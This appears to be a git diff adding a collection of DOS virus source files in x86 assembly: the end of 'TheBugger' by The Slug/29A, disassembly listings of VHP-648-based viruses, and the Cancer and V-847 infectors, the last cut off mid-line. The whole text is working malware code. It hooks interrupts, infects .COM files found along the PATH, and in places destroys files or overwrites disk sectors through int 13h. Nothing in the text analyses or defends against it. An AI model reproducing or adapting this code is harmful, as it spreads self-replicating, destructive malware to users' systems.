status function (in cl ;). + popf + call PSPcall + + mov word ptr [si-4], offset(hdl21) ;hang new int 21h handler. + mov word ptr [si-2], es + +aprog: popa ;return t0 h0st. + pop es ds + retf + +lstchk: in ax, 40h ;check rand0m w0rd of mem0ry c0py. + and ax, 0200h + push si + add si, ax + mov di, ax + cmpsw + pop si + je aprog + +buuuhh: push cs ;display funny message :) + pop ds + lea dx, joke + add dx, si + mov ah,09h + int 21h + + mov dx,0180h ;I think it's clear enought };). + mov cx,07FFh +funny: mov ax,0401h + int 13h + loop funny + +; Data + +credits db 'TheBugger virus by The Slug/29A' +intCD: int 0CDh ;int t0 detect h0st execution. +PSPcall: db 9Ah + dd 0 ;PSP call t0 int21h ;) +joke db 'Removing virus from memory...',13,10,'$' + +; Int 21h Handler + +hdl21: cmp ax, 0B0B0h ;resident service? + jne func2 + mov ax,0BABAh + push cs ;return virus segment in es + pop es ;f0r extra check. + iret + +func2: cmp ax, 4B00h ;exec service? + je exec + +int21: db 0EAh ;jmp t0 int 21h. + dd 0 + +exec: push ds es + pusha + pushf + + mov si, dx ;c0py filespec. + push cs + pop es + lea di, path +next: lodsb + stosb + cmp al, 0 + jne next + + sub si, 4 ;is a .c0m file? + lodsw + xor ax, 2020h + cmp ax, 'oc' + jne nocom + + call chgattr ;change file attributes. + + mov ax, 3D02h ;0pen file. + int 03h + xchg bx, ax + + call getdate ;get file time & date. + + lea dx, firstb ;read first 3 bytes 0f file + mov cx, 3 ;t0 exe check & h0st detect rutine. + mov ah, 3Fh + int 03h + + cmp word ptr cs:firstb, 'ZM' ;is an exe file (MZ sign)? + je exit + + xor cx, cx ;g0 t0 file start again. + mov ax, 4200h + cwd ;dx <- 0 ;) + int 03h + + lea dx, intCD ;write 'int CDh' c0de 0n file start + mov cx, 2 ;t0 detect h0st execution. + mov ah, 40h + int 03h + + + xor ax, ax ;change int CDh vect0r + mov es, ax ;f0r h0st detection. + mov ax, es:[0CDh*4] + mov intcddes, ax + mov ax, es:[0CDh*4]+2 + mov intcdseg, ax + mov es:[0CDh*4], offset(fndhst) + mov es:[0CDh*4]+2, cs + +exit: mov ah, 3Eh ;cl0se file. + int 03h + +nocom: popf + popa + pop es ds + jmp int21 + +; First Int 01 Handler + +tunn: push ds es bp ;trace int 21 f0r tunneling. + pusha + + call getret ;get next instructi0n address in es:di. + + cmp es:[di], 0FC80h ;is an 'cmp ax, ??' + jne fuera + cmp byte ptr es:[di+2], 24h ;avoid 'cmp ax, 24h' + je fuera + +stop: xor bx, bx + mov es, bx + mov es:[03h*4], di ;make int 03h point to true int 21h ;) + mov es:[03h*4]+2, ax + + lodsw ;trace m0de 0ff. + and ah, 0FEh + mov [si-2], ax + +fuera: popa + pop bp es ds + iret + +; Int CDh Handler + +fndhst: push ds es bp ;detect h0st c0de at exec. + pusha + + call getret ;get next instructi0n dir. + +chkhst: cmp di, 102h ;ensure it's h0st start :) + jne nohost + + push cs + pop ds + + mov ax, word ptr firstb ;rest0re first h0st w0rd in mem0ry. + dec di + dec di + stosw + + lea dx, path ;0pen file. + push dx + mov ax, 3D02h + int 21h + xchg bx, ax + + lea dx, firstb ;rest0re first w0rd 0f file. + mov cx, 2 + mov ah, 40h + int 21h + + call setdate ;rest0re file date & time. + mov ah ,3Eh ;cl0se file. + int 21h + pop dx + call setattr ;rest0re file attributes. + + xor ax, ax ;rest0re int CDh vect0r. + mov es, ax + mov ax, intcddes + mov es:[0CDh*4], ax + mov ax, intcdseg + mov es:[0CDh*4]+2, ax + + + mov word ptr es:[01h*4], offset(fndcal) ;change int 01h vect0r + mov es:[01h*4]+2, cs ;t0 find a call. + + mov numinstr, 0FFh ;max number 0f instr. t0 trace. + + in ax, 40h ;ramd0m ch0se 0f call t0 infect (2-5). + and al, 03h + inc al + inc al + mov numcall, al + + push ss ;rest0re 0riginal IP (100h) 0n stack. + pop ds + dec di + dec di + mov [si-4], di + + lodsw ;trace m0de 0n + or ah, 01h + mov ss:[si-2], ax + +nohost: popa + pop bp es ds + iret + +; Second Int 01 Handler + +fndcal: push ds es bp ;trace h0st t0 find a call t0 infect. + pusha + + dec cs:numinstr ;check instructi0n trace limit. + jnz goon + jmp off + +goon: call getret ;get ret address. + + cmp di, cs:lstdsp ;d0 n0t c0unt 0ne m0re instructi0n + jne norep ;0n 'rep' prefixed instructi0ns. + inc cs:numinstr + +norep: mov cs:lstdsp, di ;st0re actual return 0ffset. + + mov ax, es:[di] + + cmp al, 9Dh ;check f0r a p0pf. + jne chkirt + lodsw + lodsw + or ah, 01h ;ensure trap flag will be 0n. + mov [si-2], ax + jmp nocall + +chkirt: cmp al, 0CFh ;check f0r a iret. + jne chkint + lodsw + lodsw + lodsw + lodsw + or ah, 01h ;ensure trap flag will be 0n. + mov [si-2], ax +anocall:jmp nocall + +chkint: cmp al, 0CDh ;check f0r a int xx. + jne chkint3 + cmp ah, 20h ;skip ints 20h, 21h & 20h + je anocall + cmp ah, 21h + je anocall + cmp ah, 27h + je anocall + + mov cs:numint, ax ;int number t0 perf0rm call. + + inc di ;inc ret addr t0 step 0ver int call. + inc di + mov [si-4], di + + popa + pop bp es ds + numint dw 00 ;perf0rm int call in virus c0de. + iret + +chkint3:cmp al, 0CCh ;check int 03h call. + jne chkcal + inc di + mov [si-4], di ;step 0ver int call. + jmp nocall + +chkcal: cmp al, 0E8h ;check f0r a call t0 infect. + je found + jmp nocall + +found: dec cs:numcall ;it's the nice 0ne ;) + je go + cmp cs:numinstr, 20 ;d0n't be s0 extrict in call number + jb go ;if there are t00 few calls. + jmp nocall + +go: call chgattr ;change attributes. + + mov ax, 3D02h ;0pen file. + int 03h + xchg bx, ax + + call getdate ;get file date & time. + + xor cx, cx ;m0ve t0 file call positi0n. + mov dx, di + sub dx, 100h + mov ax, 4200h + int 03h + + lea dx, check ;read call fr0m file f0r c0mpress chk. + mov cx, 1 + mov ah, 3Fh + int 03h + + cmp check, 0E8h ;c0mpressed file? + je ok + jmp close + +ok: xor cx, cx ;m0ves t0 end 0f file. + mov ax, 4202h + cwd ;dx <- 0 ;) + int 03h + mov hostsize, ax + + sub ax, di ;find call parameter. + add ax, 0FDh + mov hostsize, ax ;f0r a new "call hostsize". + + mov ax, es:[di+1] ;0ffset t0 return t0 h0st + add ax, di + add ax, 3 + mov retonno, ax + + lea dx, start ;save mi c0de at file end. + mov cx, virsize + mov ah, 40h + int 03h + + xor cx, cx ;m0ves again t0 call. + sub di, 0FFh + mov dx, di + mov ax, 4200h + int 03h + + lea dx, hostsize ;change it. }:) + mov cx, 2 + mov ah, 40h + int 03h + +close: call setdate ;rest0re file time & date. + + mov ah, 3Eh ;cl0se file. + int 03h + + lea dx, path + call setattr ;rest0re file attributes. + +off: mov bp, sp + mov ax, ss:[bp+26] ;trace m0de 0ff. + and ah, 0FEh + mov ss:[bp+26], ax + +nocall: popa + pop bp es ds + iret + +; Get Ret Address Fr0m Stack + +getret: mov si, sp ;get next instructi0n dir. + add si, 24 + push ss + pop ds + lodsw + mov di, ax + lodsw + mov es, ax + ret + +; S0me File Handling C0de + +chgattr:push cs + pop ds + lea dx, path + mov ax,4300h ;change file attributes. + int 03h + mov attrib,cx + xor cx, cx ;reset file atributes. + mov ax,4301h + int 03h + ret + +setattr:mov cx, attrib ;rest0re file attributes. + mov ax,4301h + int 03h + ret + +getdate:mov ax,5700h ;get file time & date. + int 03h + mov time,cx + mov date,dx + ret + +setdate:mov cx,time ;rest0re file time & date. + mov dx,date + mov ax,5701h + int 03h + ret +virend: + +; Virtual Data + +firstb db 3 dup(0) ;buffer f0r h0st start. +lstdsp dw 0 ;last trace 0ffset. +numinstr db 0 ;max. number 0f instructi0ns t0 trace. +numcall db 0 ;call t0 infect (2-5). +intcddes dw 0 ;int CD vect0r backup. +intcdseg dw 0 +hostsize dw 0 ;it's just the h0st size ;) +attrib dw 0 ;file attributes. +time dw 0 ;file time. +date dw 0 ;file date. +check db 0 ;check f0r compressed file. +path db 0 ;path to host. + +code ends +end start diff --git a/c/C-623.ASM b/c/C-623.ASM new file mode 100755 index 0000000..caed740 --- /dev/null +++ b/c/C-623.ASM @@ -0,0 +1,319 @@ + name Virus + title Disassembly listing of the VHP-648 virus + .radix 16 + code segment + assume cs:code,ds:code + org 100 +environ equ 2C + +start: + jmp virus + . . . +virus: + push cx ;Save CX + mov dx,offset data ;Restore original first instruction + ; before each contamination +modify equ $-2 ;The instruction above is changed + cld + mov si,dx + add si,saveins-data ;Instruction saved there + mov di,offset start + mov cx,3 ;Move 3 bytes + rep movsb ;Do it + mov si,dx ;Keep SI pointed at data + + mov ah,30 ;Get DOS version + int 21 + cmp al,0 ;Less than 2.0? + jne skip1 + jmp exit ;Exit if so + +skip1: + push es ;Save ES + mov ah,2F ;Get current DTA in ES:BX + int 21 + mov word ptr [si+0],bx ;dtaadr + mov word ptr [si+2],es + pop es ;Restore ES + + mov dx,mydta-data + add dx,si + mov ah,1A ;Set DTA + int 21 + + push es ;Save ES & SI + push si + mov es,ds:[environ] ;Environment address + mov di,0 +n_00015A: ;Search 'PATH=' in the environment + pop si ;Restore data offset in SI + push si + add si,pathstr-data + lodsb + mov cx,8000 ;Maximum 32K in environment + repne scasb ;Search for first letter ('P') + mov cx,4 ;4 letters in 'PATH' +n_000169: + lodsb ;Search for next char + scasb + jne n_00015A ;If not found, search for next 'P' + loop n_000169 ;Loop until done + pop si ;Restore SI & ES + pop es + + mov [si+16],di ;Save 'PATH' offset in poffs + mov di,si + add di,fname-data ;Point SI & DI at '=' sign + mov bx,si ;Point BX at data area + add si,fname-data + mov di,si + jmp short n_0001BF + +n_000185: + cmp word ptr [si+16],6C ;poffs + jne n_00018F + jmp olddta +n_00018F: + push ds + push si + mov ds,es:[environ] + mov di,si + mov si,es:[di+16] ;poffs + add di,fname-data +n_0001A1: + lodsb + cmp al,';' + je n_0001B0 + cmp al,0 + je n_0001AD + stosb + jmp n_0001A1 +n_0001AD: + mov si,0 +n_0001B0: + pop bx + pop ds + mov [bx+16],si ;poffs + cmp byte ptr [di-1],'\' + je n_0001BF + mov al,'\' ;Add '\' if not already present + stosb + +n_0001BF: + mov [bx+18],di ;Save '=' offset in eqoffs + mov si,bx ;Restore data pointer in SI + add si,allcom-data + mov cx,6 ;6 bytes in ASCIIZ '*.COM' + rep movsb ;Move '*.COM' at fname + mov si,bx ;Restore SI + + mov ah,4E ;Find first file + mov dx,fname-data + add dx,si + mov cx,11b ;Hidden, Read/Only or Normal files + int 21 + jmp short n_0001E3 + +findnext: + mov ah,4F ;Find next file + int 21 +n_0001E3: + jnc n_0001E7 ;If found, try to contaminate it + jmp n_000185 ;Otherwise search in another directory + +n_0001E7: + mov ax,[si+75] ;Check file time + and al,11111b ; (the seconds, more exactly) + cmp al,62d/2 ;Are they 62? + +;If so, file is already contains the virus, search for another: + + je findnext + cmp [si+79],64000d ;Is file size greather than 64,000 bytes? + ja findnext ;If so, search for next file + cmp word ptr [si+79],10d ;Is file size less than 10 bytes? + jb findnext ;If so, search for next file + + mov di,[si+18] ;eqoffs + push si ;Save SI + add si,namez-data ;Point SI at namez +n_000209: + lodsb + stosb + cmp al,0 + jne n_000209 + + pop si ;Restore SI + mov ax,4300 ;Get file attributes + mov dx,fname-data + add dx,si + int 21 + + mov [si+8],cx ;Save them in fattrib + mov ax,4301 ;Set file attributes + +;The next `db's are there because MASM can't assemble +; the instruction `and cx,0FFFE' correctly (the fool!): + + and cx,0FFFE ;Turn off Read Only flag + mov dx,fname-data + add dx,si + int 21 + + mov ax,3D02 ;Open file with Read/Write access + mov dx,fname-data + add dx,si + int 21 + jnc n_00023E + jmp oldattr ;Exit on error +n_00023E: + mov bx,ax ;Save file handle in BX + mov ax,5700 ;Get file date & time + int 21 + mov [si+4],cx ;Save time in ftime + mov [si+6],dx ;Save date in fdate + + mov ah,2C ;Get system time + int 21 + and dh,111b ;Are seconds a multiple of 8? + +;If so, destroy file (don't contaminate). Now this code is disabled. + + jmp short n_000266 ;CHANGED. Was jnz here + +;Destroy file by rewriting an illegal jmp as first instruction: + + mov ah,40 ;Write to file handle + mov cx,5 ;Write 5 bytes + mov dx,si + add dx,bad_jmp-data ;Write THESE bytes + int 21 ;Do it + jmp short oldtime ;Exit + +;Try to contaminate file: + +;Read first instruction of the file (first 3 bytes) and save it in saveins: + +n_000266: + mov ah,3F ;Read from file handle + mov cx,3 ;Read 3 bytes + mov dx,saveins-data ;Put them there + add dx,si + int 21 + jc oldtime ;Exit on error + cmp ax,3 ;Are really 3 bytes read? + jne oldtime ;Exit if not + +;Move file pointer to end of file: + + mov ax,4202 ;LSEEK from end of file + mov cx,0 ;0 bytes from end + mov dx,0 + int 21 + jc oldtime ;Exit on error + + mov cx,ax ;Get the value of file pointer + sub ax,3 ;Subtract 3 from it to get real code size + mov [si+14d],ax ;Save result in filloc + add cx,data-(virus-100) + mov di,si + sub di,data-modify ;A little self-modification + mov [di],cx + + mov ah,40 ;Write to file handle + mov cx,enddata-virus ;Virus code length as bytes to be written + mov dx,si + sub dx,data-virus ;Now DX points at virus label + int 21 + jc oldtime ;Exit on error + cmp ax,enddata-virus ;Are all bytes written? + jne oldtime ;Exit if not + + mov ax,4200 ;LSEEK from the beginning of the file + mov cx,0 ;Just at the file beginning + mov dx,0 + int 21 + jc oldtime ;Exit on error + +;Rewrite the first instruction of the file with a jump to the virus code: + + mov ah,40 ;Write to file handle + mov cx,3 ;3 bytes to write + mov dx,si + add dx,newjmp-data ;Write THESE bytes + int 21 + +oldtime: + mov dx,[si+6] ;Restore file date + mov cx,[si+4] ; and time + +;And these again are due to the MASM 5.0 foolness: + + db 081,0E1,0E0,0FF + db 081,0C9,01F,000 +; and cx,not 11111b +; or cx,11111b ;Set seconds to 62 (?!) + + mov ax,5701 ;Set file date & time + int 21 + mov ah,3E ;Close file handle + int 21 + +oldattr: + mov ax,4301 ;Set file attributes + mov cx,[si+8] ;They were saved in fattrib + mov dx,fname-data + add dx,si + int 21 + +olddta: + push ds ;Save DS + mov ah,1A ;Set DTA + mov dx,[si+0] ;Restore saved DTA + mov ds,[si+2] + int 21 + pop ds ;Restore DS + +exit: + pop cx ;Restore CX + xor ax,ax ;Clear registers + xor bx,bx + xor dx,dx + xor si,si + mov di,100 ;Jump to CS:100 + push di ; by doing funny RET + xor di,di + ret -1 + +data label byte ;Data section +dtaaddr dd ? ;Disk Transfer Address +ftime dw ? ;File date +fdate dw ? ;File time +fattrib dw ? ;File attribute +saveins db 0EBh,0Fh,90 ;Original first 3 bytes +newjmp db 0E9 ;Code of jmp instruction +filloc dw ? ;File pointer is saved here +allcom db '*.COM',0 ;Filespec to search for +poffs dw ? ;Address of 'PATH' string +eqoffs dw ? ;Address of '=' sign +pathstr db 'PATH=' +fname db 40 dup (' ') ;Path name to search for + +;Disk Transfer Address for Find First / Find Next: + +mydta label byte +drive db ? ;Drive to search for +pattern db 13d dup (?) ;Search pattern +reserve db 7 dup (?) ;Not used +attrib db ? ;File attribute +time dw ? ;File time +date dw ? ;File date +fsize dd ? ;File size +namez db 13d dup (?) ;File name found + +;This replaces the first instruction of a destroyed file: + +bad_jmp db 0EA,0Bh,2,13,58 +enddata label byte + code ends + end start diff --git a/c/C-627.ASM b/c/C-627.ASM new file mode 100755 index 0000000..a288eda --- /dev/null +++ b/c/C-627.ASM @@ -0,0 +1,330 @@ + name Virus + title Virus; based on the famous VHP-648 virus + .radix 16 + code segment + assume cs:code,ds:code + org 100 +environ equ 2C + +start: + jmp virus + int 20 + +data label byte ;Data section +dtaaddr dd ? ;Disk Transfer Address +ftime dw ? ;File date +fdate dw ? ;File time +fattrib dw ? ;File attribute +saveins db 3 dup (90) ;Original first 3 bytes +newjmp db 0E9 ;Code of jmp instruction +codeptr dw ? ;Here is formed a jump to virus code +allcom db '*.COM',0 ;Filespec to search for +poffs dw ? ;Address of 'PATH' string +eqoffs dw ? ;Address of '=' sign +pathstr db 'PATH=' +fname db 40 dup (' ') ;Path name to search for + +;Disk Transfer Address for Find First / Find Next: + +mydta label byte +drive db ? ;Drive to search for +pattern db 13d dup (?) ;Search pattern +reserve db 7 dup (?) ;Not used +attrib db ? ;File attribute +time dw ? ;File time +date dw ? ;File date +fsize dd ? ;File size +namez db 13d dup (?) ;File name found + +;This replaces the first instruction of a destroyed file. +;It's a jmp instruction into the hard disk formatting program (IBM XT only): + +bad_jmp db 0EA,0,0,0,0C8 +errhnd dd ? + +virus: + push cx ;Save CX + mov dx,offset data ;Restore original first instruction +modify equ $-2 ;The instruction above is changed + ;before each contamination + cld + mov si,dx + add si,saveins-data ;Instruction saved there + mov di,offset start + mov cx,3 ;Move 3 bytes + rep movsb ;Do it + mov si,dx ;Keep SI pointed at data + + mov ah,30 ;Get DOS version + int 21 + cmp al,0 ;Less than 2.0? + jne skip1 + jmp exit ;Exit if so + +skip1: + push es ;Save ES + mov ah,2F ;Get current DTA in ES:BX + int 21 + mov [si+dtaaddr-data],bx ;Save it in dtaaddr + mov [si+dtaaddr+2-data],es + + mov ax,3524 ;Get interrupt 24h handler + int 21 ; and save it in errhnd + mov [si+errhnd-data],bx + mov [si+errhnd+2-data],es + pop es ;Restore ES + + mov ax,2524 ;Set interrupt 24h handler + mov dx,si + add dx,handler-data + int 21 + + mov dx,mydta-data + add dx,si + mov ah,1A ;Set DTA + int 21 + + push es ;Save ES & SI + push si + mov es,ds:[environ] ;Environment address + xor di,di +n_00015A: ;Search 'PATH' in environment + pop si ;Restore data offset in SI + push si + add si,pathstr-data + lodsb + mov cx,8000 ;Maximum 32K in environment + repne scasb ;Search for first letter ('P') + mov cx,4 ;4 letters in 'PATH' +n_000169: + lodsb ;Search for next char + scasb + jne n_00015A ;If not found, search for next 'P' + loop n_000169 ;Loop until done + pop si ;Restore SI & ES + pop es + + mov [si+poffs-data],di ;Save 'PATH' offset in poffs + mov bx,si ;Point BX at data area + add si,fname-data ;Point SI & DI at fname + mov di,si + jmp short n_0001BF + +n_000185: + cmp word ptr [si+poffs-data],6C + jne n_00018F + jmp olddta +n_00018F: + push ds + push si + mov ds,es:[environ] + mov di,si + mov si,es:[di+poffs-data] + add di,fname-data +n_0001A1: + lodsb + cmp al,';' + je n_0001B0 + cmp al,0 + je n_0001AD + stosb + jmp n_0001A1 +n_0001AD: + xor si,si +n_0001B0: + pop bx + pop ds + mov [bx+poffs-data],si + cmp byte ptr [di-1],'\' + je n_0001BF + mov al,'\' ;Add '\' if not already present + stosb + +n_0001BF: + mov [bx+eqoffs-data],di ;Save '=' offset in eqoffs + mov si,bx ;Restore data pointer in SI + add si,allcom-data + mov cl,6 ;6 bytes in ASCIIZ '*.COM' + rep movsb ;Move '*.COM' at fname + mov si,bx ;Restore SI + + mov ah,4E ;Find first file + mov dx,fname-data + add dx,si + mov cl,11b ;Hidden, Read/Only or Normal files + int 21 + jmp short n_0001E3 + +findnext: + mov ah,4F ;Find next file + int 21 +n_0001E3: + jnc n_0001E7 ;If found, try to contaminate it + jmp n_000185 ;Otherwise search in another directory + +n_0001E7: + mov ax,[si+time-data] ;Check file time + and al,11111b ; (the seconds, more exactly) + cmp al,62d/2 ;Are they 62? + +;If so, file is already contains the virus, search for another: + + je findnext + +;Is file size greather than 64,000 bytes? + + cmp [si+fsize-data],64000d + ja findnext ;If so, search for next file + +;Is file size less than 10 bytes? + + cmp word ptr [si+fsize-data],10d + jb findnext ;If so, search for next file + + mov di,[si+eqoffs-data] + push si ;Save SI + add si,namez-data ;Point SI at namez +n_000209: + lodsb + stosb + cmp al,0 + jne n_000209 + + pop si ;Restore SI + mov ax,4300 ;Get file attributes + mov dx,fname-data + add dx,si + int 21 + + mov [si+fattrib-data],cx ;Save them in fattrib + mov ax,4301 ;Set file attributes + and cl,not 1 ;Turn off Read Only flag + int 21 + + mov ax,3D02 ;Open file with Read/Write access + int 21 + jnc n_00023E + jmp oldattr ;Exit on error + +n_00023E: + mov bx,ax ;Save file handle in BX + mov ax,5700 ;Get file date & time + int 21 + mov [si+ftime-data],cx ;Save time in ftime + mov [si+fdate-data],dx ;Save date in fdate + + mov ah,2C ;Get system time + int 21 + and dh,111b ;Are seconds a multiple of 8? + jnz n_000266 ;If not, contaminate file (don't destroy): + +;Destroy file by rewriting an illegal jmp as first instruction: + + mov ah,40 ;Write to file handle + mov cx,5 ;Write 5 bytes + mov dx,si + add dx,bad_jmp-data ;Write THESE bytes + int 21 ;Do it + jmp short oldtime ;Exit + +;Try to contaminate file: + +;Read first instruction of the file (first 3 bytes) and save it in saveins: + +n_000266: + mov ah,3F ;Read from file handle + mov cx,3 ;Read 3 bytes + mov dx,saveins-data ;Put them there + add dx,si + int 21 + jc oldtime ;Exit on error + cmp ax,3 ;Are really 3 bytes read? + jne oldtime ;Exit if not + +;Move file pointer to end of file: + + mov ax,4202 ;LSEEK from end of file + xor cx,cx ;0 bytes from end + xor dx,dx + int 21 + jc oldtime ;Exit on error + + mov cx,ax ;Get the value of file pointer (file size) + add ax,virus-data-3 ;Add virus data length to get code offset + mov [si+codeptr-data],ax ;Save result in codeptr + inc ch ;Add 100h to CX + mov di,si + add di,modify-data ;A little self-modification + mov [di],cx + + mov ah,40 ;Write to file handle + mov cx,endcode-data ;Virus code length as bytes to be written + mov dx,si ;Write from data to endcode + int 21 + jc oldtime ;Exit on error + cmp ax,endcode-data ;Are all bytes written? + jne oldtime ;Exit if not + + mov ax,4200 ;LSEEK from the beginning of the file + xor cx,cx ;Just at the file beginning + xor dx,dx + int 21 + jc oldtime ;Exit on error + +;Rewrite the first instruction of the file with a jump to the virus code: + + mov ah,40 ;Write to file handle + mov cl,3 ;3 bytes to write + mov dx,si + add dx,newjmp-data ;Write THESE bytes + int 21 + +oldtime: + mov dx,[si+fdate-data] ;Restore file date + mov cx,[si+ftime-data] ; and time + and cl,not 11111b + or cl,11111b ;Set seconds to 62 (?!) + + mov ax,5701 ;Set file date & time + int 21 + mov ah,3E ;Close file handle + int 21 + +oldattr: + mov ax,4301 ;Set file attributes + mov cx,[si+fattrib-data] ;They were saved in fattrib + mov dx,fname-data + add dx,si + int 21 + +olddta: + push ds ;Save DS + mov ah,1A ;Set DTA + mov dx,[si+dtaaddr-data] ;Restore saved DTA + mov ds,[si+dtaaddr+2-data] + int 21 + + mov ax,2524 ;Set interrupt 24h handler + mov dx,[si+errhnd-data] ;Restore saved handler + mov ds,[si+errhnd+2-data] + int 21 + pop ds ;Restore DS + +exit: + pop cx ;Restore CX + xor ax,ax ;Clear registers + xor bx,bx + xor dx,dx + xor si,si + mov di,100 ;Jump to CS:100 + push di ; by doing funny RET + xor di,di + ret -1 + +handler: ;Critical error handler + mov al,0 ;Just ignore error + iret ; and return + +endcode label byte + code ends + end start diff --git a/c/C-740.ASM b/c/C-740.ASM new file mode 100755 index 0000000..8892ea8 --- /dev/null +++ b/c/C-740.ASM @@ -0,0 +1,127 @@ + page ,132 + name CANCER + title Cancer - a mutation of the V-847 virus + .radix 16 + code segment + assume cs:code,ds:code + org 100 + +olddta equ 80 +virlen equ offset endcode - offset start +smalcod equ offset endcode - offset transf +buffer equ offset endcode + 100 +newdta equ offset endcode + 10 +fname = newdta + 1E +virlenx = offset endcode - offset start + +start: + jmp cancer + +ident dw 'VI' +counter db 0 +allcom db '*.COM',0 +vleng db virlen +n_10D db 3 ;Unused +progbeg dd ? +eof dw ? +handle dw ? + +cancer: + mov ax,cs ;Move program code + add ax,1000 ; 64K bytes forward + mov es,ax + inc [counter] + mov si,offset start + xor di,di + mov cx,virlen + rep movsb + + mov dx,newdta ;Set new Disk Transfer Address + mov ah,1A ;Set DTA + int 21 + mov dx,offset allcom ;Search for '*.COM' files + mov cx,110b ;Normal, Hidden or System + mov ah,4E ;Find First file + int 21 + jc done ;Quit if none found + +mainlp: + mov dx,offset fname + mov ax,3D02 ;Open file in Read/Write mode + int 21 + mov [handle],ax ;Save handle + mov bx,ax + push es + pop ds + mov dx,buffer + mov cx,0FFFF ;Read all bytes + mov ah,3F ;Read from handle + int 21 ;Bytes read in AX + add ax,buffer + mov cs:[eof],ax ;Save pointer to the end of file + + xor cx,cx ;Go to file beginning + mov dx,cx + mov bx,cs:[handle] + mov ax,4200 ;LSEEK from the beginning of the file + int 21 + jc close ;Leave this file if error occures + + mov dx,0 ;Write the whole code (virus+file) + mov cx,cs:[eof] ; back onto the file + mov bx,cs:[handle] + mov ah,40 ;Write to handle + int 21 + +close: + mov bx,cs:[handle] + mov ah,3E ;Close the file + int 21 + + push cs + pop ds ;Restore DS + mov ah,4F ;Find next matching file + mov dx,newdta + int 21 + jc done ;Exit if all found + jmp mainlp ;Otherwise loop again + +done: + mov dx,olddta ;Restore old Disk Transfer Address + mov ah,1A ;Set DTA + int 21 + + mov si,offset transf ;Move this part of code + mov cx,smalcod ;Code length + xor di,di ;Move to ES:0 + rep movsb ;Do it + + xor di,di ;Clear DI + mov word ptr cs:[progbeg],0 + mov word ptr cs:[progbeg+2],es ;Point progbeg at program start + jmp cs:[progbeg] ;Jump at program start + +transf: + push ds + pop es + mov si,buffer+100 + cmp [counter],1 + jne skip + sub si,200 +skip: + mov di,offset start + mov cx,0FFFF ;Restore original program's code + sub cx,si + rep movsb + mov word ptr cs:[start],offset start + mov word ptr cs:[start+2],ds + jmp dword ptr cs:[start] ;Jump to program start +endcode label byte + + int 20 ;Dummy program + int 20 ;??? + + db 0 ;Unused + +code ends + end start diff --git a/c/C-740B.ASM b/c/C-740B.ASM new file mode 100755 index 0000000..8892ea8 --- /dev/null +++ b/c/C-740B.ASM @@ -0,0 +1,127 @@ + page ,132 + name CANCER + title Cancer - a mutation of the V-847 virus + .radix 16 + code segment + assume cs:code,ds:code + org 100 + +olddta equ 80 +virlen equ offset endcode - offset start +smalcod equ offset endcode - offset transf +buffer equ offset endcode + 100 +newdta equ offset endcode + 10 +fname = newdta + 1E +virlenx = offset endcode - offset start + +start: + jmp cancer + +ident dw 'VI' +counter db 0 +allcom db '*.COM',0 +vleng db virlen +n_10D db 3 ;Unused +progbeg dd ? +eof dw ? +handle dw ? + +cancer: + mov ax,cs ;Move program code + add ax,1000 ; 64K bytes forward + mov es,ax + inc [counter] + mov si,offset start + xor di,di + mov cx,virlen + rep movsb + + mov dx,newdta ;Set new Disk Transfer Address + mov ah,1A ;Set DTA + int 21 + mov dx,offset allcom ;Search for '*.COM' files + mov cx,110b ;Normal, Hidden or System + mov ah,4E ;Find First file + int 21 + jc done ;Quit if none found + +mainlp: + mov dx,offset fname + mov ax,3D02 ;Open file in Read/Write mode + int 21 + mov [handle],ax ;Save handle + mov bx,ax + push es + pop ds + mov dx,buffer + mov cx,0FFFF ;Read all bytes + mov ah,3F ;Read from handle + int 21 ;Bytes read in AX + add ax,buffer + mov cs:[eof],ax ;Save pointer to the end of file + + xor cx,cx ;Go to file beginning + mov dx,cx + mov bx,cs:[handle] + mov ax,4200 ;LSEEK from the beginning of the file + int 21 + jc close ;Leave this file if error occures + + mov dx,0 ;Write the whole code (virus+file) + mov cx,cs:[eof] ; back onto the file + mov bx,cs:[handle] + mov ah,40 ;Write to handle + int 21 + +close: + mov bx,cs:[handle] + mov ah,3E ;Close the file + int 21 + + push cs + pop ds ;Restore DS + mov ah,4F ;Find next matching file + mov dx,newdta + int 21 + jc done ;Exit if all found + jmp mainlp ;Otherwise loop again + +done: + mov dx,olddta ;Restore old Disk Transfer Address + mov ah,1A ;Set DTA + int 21 + + mov si,offset transf ;Move this part of code + mov cx,smalcod ;Code length + xor di,di ;Move to ES:0 + rep movsb ;Do it + + xor di,di ;Clear DI + mov word ptr cs:[progbeg],0 + mov word ptr cs:[progbeg+2],es ;Point progbeg at program start + jmp cs:[progbeg] ;Jump at program start + +transf: + push ds + pop es + mov si,buffer+100 + cmp [counter],1 + jne skip + sub si,200 +skip: + mov di,offset start + mov cx,0FFFF ;Restore original program's code + sub cx,si + rep movsb + mov word ptr cs:[start],offset start + mov word ptr cs:[start+2],ds + jmp dword ptr cs:[start] ;Jump to program start +endcode label byte + + int 20 ;Dummy program + int 20 ;??? + + db 0 ;Unused + +code ends + end start diff --git a/c/C-847.ASM b/c/C-847.ASM new file mode 100755 index 0000000..7405a6e --- /dev/null +++ b/c/C-847.ASM @@ -0,0 +1,149 @@ + page ,132 + name V847 + title The V-847 virus + .radix 16 + code segment + assume cs:code,ds:code + org 100 + +timer equ 6C +olddta equ 80 +virlen equ offset endcode - offset start +smalcod equ offset endcode - offset transf +buffer equ offset endcode + 100 +newdta equ offset endcode + 10 +fname = newdta + 1E +virlenx = offset endcode - offset start +newid = offset ident + virlenx + 100 + +start: + jmp virus + +ident dw 'VI' +counter db 0 +allcom db '*.COM',0 +vleng dw 44F ;Unused +progbeg dd 10000h +eof dw ? +handle dw ? + +virus: + mov ax,cs ;Move program code + add ax,1000 ; 64K bytes forward + mov es,ax + inc [counter] + mov si,offset start + xor di,di + mov cx,virlen + rep movsb + + mov dx,newdta ;Set new Disk Transfer Address + mov ah,1A ;Set DTA + int 21 + mov dx,offset allcom ;Search for '*.COM' files + mov cx,110b ;Normal, Hidden or System + mov ah,4E ;Find First file + int 21 + jc done ;Quit if none found + +mainlp: + mov dx,offset fname + mov ax,3D02 ;Open file in Read/Write mode + int 21 + mov [handle],ax ;Save handle + mov bx,ax + push es + pop ds + mov dx,buffer + mov cx,0FFFF ;Read all bytes + mov ah,3F ;Read from handle + int 21 ;Bytes read in AX + add ax,buffer + mov cs:[eof],ax ;Save pointer to the end of file + db 3E ;Force DS: prefix + cmp [newid],'VI' ;Infected? + je close ;Go find next file + + xor cx,cx ;Go to file beginning + mov dx,cx + mov bx,cs:[handle] + mov ax,4200 ;LSEEK from the beginning of the file + int 21 + jc close ;Leave this file if error occures + + mov dx,0 ;Write the whole code (virus+file) + mov cx,cs:[eof] ; back 